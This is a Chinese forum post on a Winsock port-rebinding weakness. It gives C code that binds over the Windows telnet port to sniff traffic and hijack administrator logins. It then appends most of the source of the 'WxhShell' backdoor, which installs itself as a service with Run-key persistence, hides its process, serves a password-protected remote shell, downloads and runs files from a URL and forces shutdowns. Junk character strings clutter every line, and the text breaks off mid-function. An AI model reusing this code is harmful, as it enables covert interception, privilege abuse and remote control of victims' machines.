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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @- xjfC\d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G2D$aSh  
VRMXtQ*1Dm  
  saddr.sin_family = AF_INET; x4 yR8n(  
pb}*\/s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  &HW9Jn  
KwS@D9bok  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tc! #wd+u  
uYN`:b8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WLT"ji0w2  
*VcJ= b 2Y  
  这意味着什么?意味着可以进行如下的攻击: 'NmRR]Q9  
~a:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Oz95  
Pal=F0-Q\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &pRREu:[4L  
%Zi} MPx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $I=~S[p  
nKY6[|!#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]/Pn EU[  
fex@,I&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3n _htgcv  
Tbq;h ?D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3u=g6W2 F  
$mILoy B,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !zo{tI19  
a9gLg &  
  #include CrLrw T  
  #include ^sw?gH*  
  #include Ew N}l  
  #include    0S"MC9beg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~Y;*u]^  
  int main() #mF"1QW  
  { K-4PI+qQ\  
  WORD wVersionRequested; _b 0& !l<  
  DWORD ret; 6Oq 7#3]  
  WSADATA wsaData; ~ }P,.QQ  
  BOOL val; &ncvGDGi  
  SOCKADDR_IN saddr; XSRsGTCC=  
  SOCKADDR_IN scaddr; AH^/V}9H  
  int err; I,tud!p`  
  SOCKET s; { FkF  
  SOCKET sc; &Jj<h: *  
  int caddsize; /wp6KXm  
  HANDLE mt; `3pW]&  
  DWORD tid;   'DR!9De  
  wVersionRequested = MAKEWORD( 2, 2 ); eFgA 8kY)  
  err = WSAStartup( wVersionRequested, &wsaData ); ;u JMG  
  if ( err != 0 ) { 9w"*y#_  
  printf("error!WSAStartup failed!\n"); ^('wy};  
  return -1; 6m93puY`7  
  } V0@=^Bls  
  saddr.sin_family = AF_INET; KO [Yi  
   tw;}jh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S[gx{Bxiw  
-RwE%  cr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o&%g8=n%  
  saddr.sin_port = htons(23); m0wDX*Qn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :TbgFQ86~  
  { P pb\6|*  
  printf("error!socket failed!\n"); lA]8&+,ZM  
  return -1; tmq OJ  
  } !L(^(;$Kgr  
  val = TRUE; +(Ae4{z"1+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K+eM   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^qs $v06  
  { K- v#.e4  
  printf("error!setsockopt failed!\n"); j#|ZP-=1_  
  return -1; X ?O[r3<  
  } y[;>#j$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }bxs]?OW>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  B,@i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X'ag)|5ot  
oH@78D0A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `Di{}/2  
  { {7[Ox<Ho  
  ret=GetLastError(); :WEDAFq0  
  printf("error!bind failed!\n"); Gc?a+T  
  return -1; z{ dEC %  
  } )~>YH*g  
  listen(s,2); %9"H  
  while(1) w;M#c Y  
  { I9^x,F"E]  
  caddsize = sizeof(scaddr); UQsN'r\tS  
  //接受连接请求 pglVR </  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  mh%VrA q  
  if(sc!=INVALID_SOCKET) 8*X4\3:*N  
  { ! nx{ X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W?& %x(6M  
  if(mt==NULL) k$VlfQ'+  
  { X$ D6Ey  
  printf("Thread Creat Failed!\n"); C!gZN9-  
  break; 4eu O1=  
  } 6BlXLQ,8q  
  } T{ "(\X$  
  CloseHandle(mt); Iu{V,U  
  } gYj'(jB  
  closesocket(s); 637: oT_`O  
  WSACleanup(); , gHDx  
  return 0; [g,}gyeS(  
  }   Ri'n  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4-w{BZuS  
  { qs6aB0ln  
  SOCKET ss = (SOCKET)lpParam; iZ%yd-  
  SOCKET sc; 6!o1XQr=Z  
  unsigned char buf[4096]; hTkyz la  
  SOCKADDR_IN saddr; jPeYmv]  
  long num; <@}9Bid!o  
  DWORD val; al0L&z\  
  DWORD ret; XW9!p.*.U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,4 rPg]r@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Jw,>}  
  saddr.sin_family = AF_INET; a*;b^Ze`v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?2a$*(  
  saddr.sin_port = htons(23); 1YA% -~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @HW*09TG  
  { '-6~tWC~7  
  printf("error!socket failed!\n"); %y@AA>x!  
  return -1; g0H[*"hj  
  } 2 c}E(8e]  
  val = 100; 9uY'E'm*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <3iMRe  
  { 0(I j%Wi,  
  ret = GetLastError(); k9R9Nz|J  
  return -1; a.'*G6~Qgw  
  } ^.tg7%dJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B!yr!DWv  
  { dx]>(e@(t{  
  ret = GetLastError(); /?!u{(h}  
  return -1; <i[HbgUlO.  
  } q4q6c")zp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ex|F|0k4}  
  { @x1-! ~z#  
  printf("error!socket connect failed!\n"); PH"%kCI:  
  closesocket(sc); $( )>g>%  
  closesocket(ss); neh(<>  
  return -1; "b[5]Y{ U  
  } b -y  
  while(1) !wNO8;(  
  { 67TwPvh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +(*DT9s+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Si,6o!0k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B *vM0  
  num = recv(ss,buf,4096,0); $(9U@N9E  
  if(num>0) E4!Fupkpf  
  send(sc,buf,num,0); \ jA~9  
  else if(num==0) .543N<w  
  break; 'S~5"6r  
  num = recv(sc,buf,4096,0); *=n:-  
  if(num>0) l~.-e^p?  
  send(ss,buf,num,0); JRFtsio*  
  else if(num==0) 4YHY7J  
  break; f)!Z~t &  
  } ':W[A  
  closesocket(ss); HDKbF/  
  closesocket(sc); ] - .aL  
  return 0 ; fnY.ao1-s[  
  } +#By*;BJ  
vy/-wP|1  
:]c3|J  
========================================================== h~26WLf.  
-&;TA0~;  
下边附上一个代码,,WXhSHELL {!`4iiF  
M;NX:mX9  
========================================================== cAy3^{3:  
_6Ha  
#include "stdafx.h" 9kojLqCT  
2oU_2P  
#include <stdio.h> GL JMP^p  
#include <string.h> &{RDM~  
#include <windows.h> | 3%8&@ho  
#include <winsock2.h> 7|D+Ihy;  
#include <winsvc.h> oE~RyS X  
#include <urlmon.h> K#xv u1U  
xpI wrJO  
#pragma comment (lib, "Ws2_32.lib") P$sxr  
#pragma comment (lib, "urlmon.lib") {T8Kk)L  
@KA4N`  
#define MAX_USER   100 // 最大客户端连接数 V:27)]q  
#define BUF_SOCK   200 // sock buffer ]~%6JJN7  
#define KEY_BUFF   255 // 输入 buffer 2Hdu:"j  
]d`VT)~vje  
#define REBOOT     0   // 重启 *dF>_F  
#define SHUTDOWN   1   // 关机 OH"XrCX7n  
|'.  
#define DEF_PORT   5000 // 监听端口 uocGbi:V';  
kl,3IKHa  
#define REG_LEN     16   // 注册表键长度 W`&hp6Jq  
#define SVC_LEN     80   // NT服务名长度 \f)#>+X-  
- DCbko  
// 从dll定义API yBRC*0+Vy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m3ff;,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {^'HL   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8] ikygt"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bx Wa oWE0  
+O5hH8<&b  
// wxhshell配置信息 V+~Nalm O  
struct WSCFG { Nluoqo ac  
  int ws_port;         // 监听端口 *qMY22X  
  char ws_passstr[REG_LEN]; // 口令 6 r_)sHf  
  int ws_autoins;       // 安装标记, 1=yes 0=no -![|}pX  
  char ws_regname[REG_LEN]; // 注册表键名 +*^H#|!  
  char ws_svcname[REG_LEN]; // 服务名 }-fl$j?9E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 " Jr-J#gg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *' X3z@R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v LZoa-w:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wl Sm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sc   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZC}QId  
FC*[*  
}; wAd9  
Q,9oKg  
// default Wxhshell configuration j.kG};f  
struct WSCFG wscfg={DEF_PORT, 9/;P->wy  
    "xuhuanlingzhe", JCaOK2XT;  
    1, W%)Y#C  
    "Wxhshell", 9/7u*>:  
    "Wxhshell", Z/K{A`  
            "WxhShell Service",  bF(f*u  
    "Wrsky Windows CmdShell Service", 03(4 x'z  
    "Please Input Your Password: ", o]:9')5^  
  1, 4&f3%eTi  
  "http://www.wrsky.com/wxhshell.exe", Rh |nP&6  
  "Wxhshell.exe" Z<phcqEi8  
    }; *4Izy14e  
yZ`wfj$Jj  
// 消息定义模块 Y<rU#Z#T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uwi7)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T#)P`q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A9JdU&  
char *msg_ws_ext="\n\rExit."; ]tDDq=+v  
char *msg_ws_end="\n\rQuit."; ~,~eoW7  
char *msg_ws_boot="\n\rReboot...";  kwA$Z!Rn  
char *msg_ws_poff="\n\rShutdown..."; {GO#.P"  
char *msg_ws_down="\n\rSave to "; MWL% Bz  
9mFE?J  
char *msg_ws_err="\n\rErr!"; Q^ (b)>?r;  
char *msg_ws_ok="\n\rOK!"; Yrn)VV[)h  
\15nS B  
char ExeFile[MAX_PATH]; HdG2X  
int nUser = 0; [PM4k0YC8  
HANDLE handles[MAX_USER]; (~en (  
int OsIsNt; ^VACf|0  
P2*<GjV`S/  
SERVICE_STATUS       serviceStatus; "T"h)L<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ##o#eZq:"  
ow#1="G,=  
// 函数声明 h-D }'R  
int Install(void); +U.I( 83F  
int Uninstall(void); ]cN1c}  
int DownloadFile(char *sURL, SOCKET wsh); ~= -RK$=  
int Boot(int flag); uH-)y,2&  
void HideProc(void); BCcjK6'  
int GetOsVer(void); 3Hm/(C  
int Wxhshell(SOCKET wsl); 7`YEH2  
void TalkWithClient(void *cs); lPJ\-/>$z  
int CmdShell(SOCKET sock); VYhbx 'e  
int StartFromService(void); |a%Tp3Q~  
int StartWxhshell(LPSTR lpCmdLine); 0AV c  
\_U$"/$4VH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A={UL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p6WX9\qS(  
6i*sm.SDw  
// 数据结构和表定义 D)'bH5  
SERVICE_TABLE_ENTRY DispatchTable[] = TW>WHCAm  
{ $2el&I  
{wscfg.ws_svcname, NTServiceMain}, ;ZG\p TCA  
{NULL, NULL} y|q3Wa  
}; ?NP1y9Y]i  
8Bg;Kh6B  
// 自我安装 \r>6`-cs]  
int Install(void) Fr$5RAyg  
{ 2wgg7[tGi  
  char svExeFile[MAX_PATH]; pU7lnS[  
  HKEY key; 6Kb1~jY  
  strcpy(svExeFile,ExeFile); O,A{3DAe0  
(Clkv  
// 如果是win9x系统,修改注册表设为自启动 -B\HI*u  
if(!OsIsNt) { zkdetrR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  :#~j:C|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OaZQ7BGq  
  RegCloseKey(key); )tnh4WMh}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?KI,cl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a -moI+y  
  RegCloseKey(key); F.v{-8GV  
  return 0; L z1ME(  
    } Q?/o%`N  
  } 0,8okA H  
} -[DOe?T  
else { d&s9t;@=  
O5t[  
// 如果是NT以上系统,安装为系统服务 Y7[jqb1D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -\n@%$M]G  
if (schSCManager!=0) E`k@{*Hn&  
{ qWKAM@  
  SC_HANDLE schService = CreateService ]P2"[y  
  ( |qZ1|  
  schSCManager, [=]4-q6UN  
  wscfg.ws_svcname, Bn g@-#`/  
  wscfg.ws_svcdisp, y Ej^=pw  
  SERVICE_ALL_ACCESS, `I5wV/%ib  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E1U",CMU  
  SERVICE_AUTO_START, Ezv Y"T@  
  SERVICE_ERROR_NORMAL, Gm.]sE?.  
  svExeFile, 6qd\)q6T&x  
  NULL, QZ%`/\(!8_  
  NULL, MO <3"@/,  
  NULL, NS6:yX,/  
  NULL, AlW66YAuQ  
  NULL 9lDhIqx0~  
  ); = +?7''{>  
  if (schService!=0) r_;N t  
  { =6|&Jt  
  CloseServiceHandle(schService); A7hVHxNJ-  
  CloseServiceHandle(schSCManager); g!z&~Z:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^B 2 -)  
  strcat(svExeFile,wscfg.ws_svcname); klR|6u]%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `P;s 8~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7;(UF=4  
  RegCloseKey(key); \`\ZTZni  
  return 0; JO"<{ngsQ  
    } DXK}-4"\  
  } JOim3(5?s  
  CloseServiceHandle(schSCManager); Z@@K[$  
} fn 6J *[`  
} f[^Aw(o  
84pFc;<  
return 1; 2Jmz(cH%  
} -n<pPau2  
Y~E`9  
// 自我卸载 ; XN{x  
int Uninstall(void) :7?FF'u  
{ X=8{$:  
  HKEY key; M b1s F  
WPG(@zD  
if(!OsIsNt) { ;Nj7qt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xZF}D/S?Ov  
  RegDeleteValue(key,wscfg.ws_regname); 4J([6<  
  RegCloseKey(key); pDCeQ6?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P&e\)Z|  
  RegDeleteValue(key,wscfg.ws_regname); @w!PaP  
  RegCloseKey(key); hJ#xB6  
  return 0; \1 &,|\E#  
  } l9u!aD  
} t; {F%9j{  
} 'V=P*#|SR  
else { z4]api(xZ  
jc f #6   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zb<6 Ov  
if (schSCManager!=0) q,eVjtF  
{ W+X6@/BO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t9:0TBt-[  
  if (schService!=0) B[-v[K2  
  { *zL}&RUKM  
  if(DeleteService(schService)!=0) { oVe|M ss6  
  CloseServiceHandle(schService); Zt.|oYH$  
  CloseServiceHandle(schSCManager); /& +tf*  
  return 0; ;^I*J:]  
  } s '\Uap  
  CloseServiceHandle(schService); -f>%+<k=  
  }  J@Q7p}  
  CloseServiceHandle(schSCManager); MsGM5(r:b  
} C"T;Qp~B  
} Nyj( 0W  
Y@ksQ_u  
return 1; qd)/9*|Jl  
} krvp&+uX  
I\[_9  
// 从指定url下载文件 |! E)GahM  
int DownloadFile(char *sURL, SOCKET wsh) }YNR"X9*)/  
{ NI [ pp`  
  HRESULT hr; hPePB=  
char seps[]= "/"; 364`IC( a  
char *token; :Ab%g-  
char *file; T7u%^xm  
char myURL[MAX_PATH]; )MchsuF<  
char myFILE[MAX_PATH]; }n2M G  
],a5)kV  
strcpy(myURL,sURL); emPM4iG?!  
  token=strtok(myURL,seps); m6CI{Sa](l  
  while(token!=NULL) c+$*$|t=v`  
  { 91  g2A|  
    file=token; ?9\EN|O^  
  token=strtok(NULL,seps); tL)t"  i  
  } 2Kyl/C,  
j<@lX^  
GetCurrentDirectory(MAX_PATH,myFILE); s`'{I8'p/  
strcat(myFILE, "\\"); ?Yk.$90  
strcat(myFILE, file); =4PV;>X  
  send(wsh,myFILE,strlen(myFILE),0); ?D*/*Gk{  
send(wsh,"...",3,0); j=aI9p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DLMM/WJg@  
  if(hr==S_OK) uIZ-#q  
return 0; o`P %&  
else \GZM&Zd  
return 1; Ksj -zR;  
z'\_jaj^  
} Slher0.Y  
A}N?/{y)G  
// 系统电源模块 SY^t} A7:/  
int Boot(int flag) 7KL v6]b  
{ kDN:ep{/  
  HANDLE hToken; ]? g@jRs  
  TOKEN_PRIVILEGES tkp; ?_vakJ )  
2Yn <2U/^R  
  if(OsIsNt) { DN~nk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D\s WZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V(6Z3g  
    tkp.PrivilegeCount = 1; /1Q(b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \6<=$vD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M .JoHH  
if(flag==REBOOT) { sy"^?th}b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xt%7@/hiE  
  return 0; L3--r  
} l6kWQpV  
else { aV?@s4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ZEmULKkR  
  return 0; Q[pV!CH  
} /bi[ e9R  
  } \LppYXz  
  else { M)N?qRD  
if(flag==REBOOT) { `-l6S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x+x40!+\  
  return 0; HO%wHiv1X  
} \cUNsB5  
else { PCM-i{6/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RyK\uv  
  return 0; R0vIbFwj  
} 5Z\#0":e  
} ws|;  `  
L>%o[tS  
return 1; #9xd[A : N  
} m{uxI za  
)3w@]5j  
// win9x进程隐藏模块 % !>I*H  
void HideProc(void) #+5pgD2C  
{ aL%AQB,  
muZ~*kMc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9Hu/u=vB<  
  if ( hKernel != NULL ) ul2")HL];  
  { &twf,8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PGBQn#c<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;YX4:OBqr  
    FreeLibrary(hKernel);  }'/`2!lY  
  } be-~\@  
hn=[1<#^(  
return; vIwCJN1C  
} ;u(<h?%e  
?)X,0P'  
// 获取操作系统版本 )'%$V%9  
int GetOsVer(void) #KXa&C  
{ ;b(p=\i  
  OSVERSIONINFO winfo; ,%Up0Rr,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MP 2~;T}~  
  GetVersionEx(&winfo); "7V2lu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :8+Nid)  
  return 1; \z7SkZt,GT  
  else rT5Ycm@  
  return 0; 9Z'8!$LYg  
} q51Uf_\/  
4^Q :  
// 客户端句柄模块  {=QiZWu  
int Wxhshell(SOCKET wsl) qt 2d\f  
{ S.q].a  
  SOCKET wsh; QC;^xG+W  
  struct sockaddr_in client; !\L/[:n  
  DWORD myID; :!b'Vk  
5<j%EQN|D  
  while(nUser<MAX_USER)  S"$m]  
{ yH*6@P4:0=  
  int nSize=sizeof(client); e0@Y#7N62  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )!:Lzi  
  if(wsh==INVALID_SOCKET) return 1; lBFMwJU)  
q^L<X)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (tGY%oT"  
if(handles[nUser]==0) 16i "Yg!*  
  closesocket(wsh); J8)#PY[i4  
else P7MeX(Tay  
  nUser++; V6#K2  
  } }HYjA4o\A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jR#~I@q^  
_({A\}Q|  
  return 0; mJ`A_0  
} {aJJ `t  
>Ll$p 0W  
// 关闭 socket )V:]g\t  
void CloseIt(SOCKET wsh)  n>`as  
{ /'DsB%7g  
closesocket(wsh); s)2fG\1  
nUser--; {aC!~qR  
ExitThread(0); &F5@6nJ`  
} Bk\Gj`"7  
 \qR %%S  
// 客户端请求句柄 ADk8{L{UU  
void TalkWithClient(void *cs) H0R&2#YD  
{ aKJQm '9Ks  
D HT&,=  
  SOCKET wsh=(SOCKET)cs; TdGnf   
  char pwd[SVC_LEN]; BQ2wnGc  
  char cmd[KEY_BUFF]; BC;:  
char chr[1]; (N=5 .7"T  
int i,j; { e5/+W  
tP%{P"g3^  
  while (nUser < MAX_USER) { -cm$[,b6  
g{9+O7q  
if(wscfg.ws_passstr) { *[R eb %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j>/ ,$H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U Gpu\TB  
  //ZeroMemory(pwd,KEY_BUFF); x5WW--YR+  
      i=0; N**g]T 0`  
  while(i<SVC_LEN) { ee#): -p  
fb:j%1WF  
  // 设置超时 /q$,'^.A  
  fd_set FdRead; IMl!,(6;  
  struct timeval TimeOut; ^~HQC*  
  FD_ZERO(&FdRead); ?EK?b s  
  FD_SET(wsh,&FdRead); ~ Yngkt  
  TimeOut.tv_sec=8; I1>N4R-j  
  TimeOut.tv_usec=0; .eO?Z^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h"[+)q%L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dN}#2Bo =  
Uyr3dN%*r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4T2z-  
  pwd=chr[0]; p/ >`[I  
  if(chr[0]==0xd || chr[0]==0xa) { $<|l E/_]  
  pwd=0; ?cEskafb>  
  break; 3#45m+D  
  } e=QK}gzX  
  i++; uH;-z_Wpn!  
    } :BGA.  
D\YE^8/  
  // 如果是非法用户,关闭 socket !GQ\"Ufs>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2JS`Wqy  
} Z0>DNmH*  
R?EASc!b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^p/Ob'!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !!nuAQ"E[  
h<\_XJJ  
while(1) { *cg( ?yg  
S"hTE7`   
  ZeroMemory(cmd,KEY_BUFF); S$^ RbI  
GzTq5uU&  
      // 自动支持客户端 telnet标准   X*7\lf2  
  j=0; $eBX  
  while(j<KEY_BUFF) { FHPXu59u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !HJ$UG/\  
  cmd[j]=chr[0]; )I-fU4?  
  if(chr[0]==0xa || chr[0]==0xd) { 7 #=}:3c  
  cmd[j]=0; A=-F,=k(!/  
  break; ')$NfarQ.  
  } lw(e3j  
  j++; U70]!EaT  
    } F("#^$  
[|3>MZ2/  
  // 下载文件 ec|/ /  
  if(strstr(cmd,"http://")) { }Y17*zp%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xyE1Gw`V  
  if(DownloadFile(cmd,wsh)) {A o,t+j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9lo [&^<  
  else 90Hjx>[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2w$t wW-  
  } oiX"Lz{  
  else { Sj(F3wY  
STA4 p6  
    switch(cmd[0]) { *AIEl"29  
  !"TZ:"VZU  
  // 帮助 Bz`yfl2  
  case '?': { kV Rn`n0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /+3a n9h  
    break; .M4IGOvOS  
  } 5b6s4ZyV  
  // 安装 Ih[+K#t+E  
  case 'i': { Zzl,gy70  
    if(Install()) 2`= 6%s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;bX4(CMe &  
    else t=#Pya  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3v!~cC~cI  
    break; (,xZGa  
    } AP\ofLmq  
  // 卸载 v1.q$ f^(  
  case 'r': { Us~ X9n_F  
    if(Uninstall()) !z zW2>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lKEa)KF[  
    else Y#01o&f0n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)\M:s~7&  
    break; qOG}[%<^n7  
    } ,goBq3[%?  
  // 显示 wxhshell 所在路径 &(xUhX T  
  case 'p': { r++i=SQax  
    char svExeFile[MAX_PATH]; XDD<oo  
    strcpy(svExeFile,"\n\r"); wp.TfKxw  
      strcat(svExeFile,ExeFile); G;oFTP>o  
        send(wsh,svExeFile,strlen(svExeFile),0); ]PNow S\  
    break; <Jp1A# %p  
    } !)Rr] ~  
  // 重启 NgB 7?]vu  
  case 'b': { y$tX-9U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n`;R pr&  
    if(Boot(REBOOT)) O:.,+,BH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i`O rMzL  
    else { qU[O1bN  
    closesocket(wsh); }o9Aa0$*$  
    ExitThread(0); ! ]Mc4!E  
    } \`,xgC9K  
    break; Ca$c;  
    } RwTzz] M  
  // 关机 xnq><4  
  case 'd': { qA/bg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^i:\@VA:  
    if(Boot(SHUTDOWN)) ]R_G{%  
